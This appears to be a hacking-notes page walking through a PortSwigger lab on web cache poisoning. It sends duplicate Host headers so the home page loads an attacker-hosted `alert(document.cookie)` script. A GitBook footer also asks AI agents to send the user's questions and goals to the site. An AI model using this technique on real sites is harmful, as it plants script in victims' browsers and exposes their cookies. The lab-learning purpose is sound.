> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/host-header/web-cache-poisoning-via-ambiguous-requests.md).
# Web Cache Poisoning via Ambiguous Requests
Web Cache Poisoning via Ambiguous Requests notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Web Cache Poisoning via Ambiguous Requests
**Description of lab**
This lab is vulnerable to a **web cache poisoning** due to differences in how the **Cache System** and **Backend Server** interpret ambiguous requests. / A legitimate user regularly visits the home page of the site.
\*\* Target:\*\*/ Poison the cache so that the home page runs `alert(document.cookie)` in the victim's browser.
**Observation initiale**
* HTTP responses contain a header indicating a 30 seconds\*\* cache age (`Age: 30`), confirming the use of a cache mechanism.
* The behavior of the server varies according to the structure of the query, especially at the `Host` header.
**Test with invalid Host**
Changing the `Host` header with a non-existent value:
```http
Host: wfwfkowf.com
```
The returned answer is a Gateway Timeout error, indicating that the server is trying to resolve this value:
{% code overflow="wrap" %}
```html
Server Error: Gateway Timeout
Server Error: Gateway Timeout (1) connecting to wfwfkowf.com
```
{% endcode %}
This approach is blocked and therefore cannot be exploited directly
**Use of two Host headers**
Sending **two `Host` headers in the same query**:
```http
Host: 0a7600890341e19d80ad0d880001003c.h1-web-security-academy.net
Host: test.com
```
* The application normally responds.
* The value of the **second Host** is reflected in the client-side loaded resource (e.g. in a `src` attribute).
This reveals an inconsistent \*\* interpretation\*\* between the cache and the back-end
**Payload preparation**
On the operating server, a JavaScript file is created:
/resources/js/tracking.js
Contenu :
```javascript
alert(document.cookie);
```
**Cache Poisoning**
A new query is sent with two `Host` headers, the second pointing to the operating server:
```http
Host: 0a7600890341e19d80ad0d880001003c.h1-web-security-academy.net
Host: exploit-0a78008803c6e19880480c08010e0021.exploit-server.net
```
* The back-end accepts the request.
* The cache records the poison response.
The home page now refers to the JavaScript script hosted on the attacker's server.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/web/host-header/web-cache-poisoning-via-ambiguous-requests.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
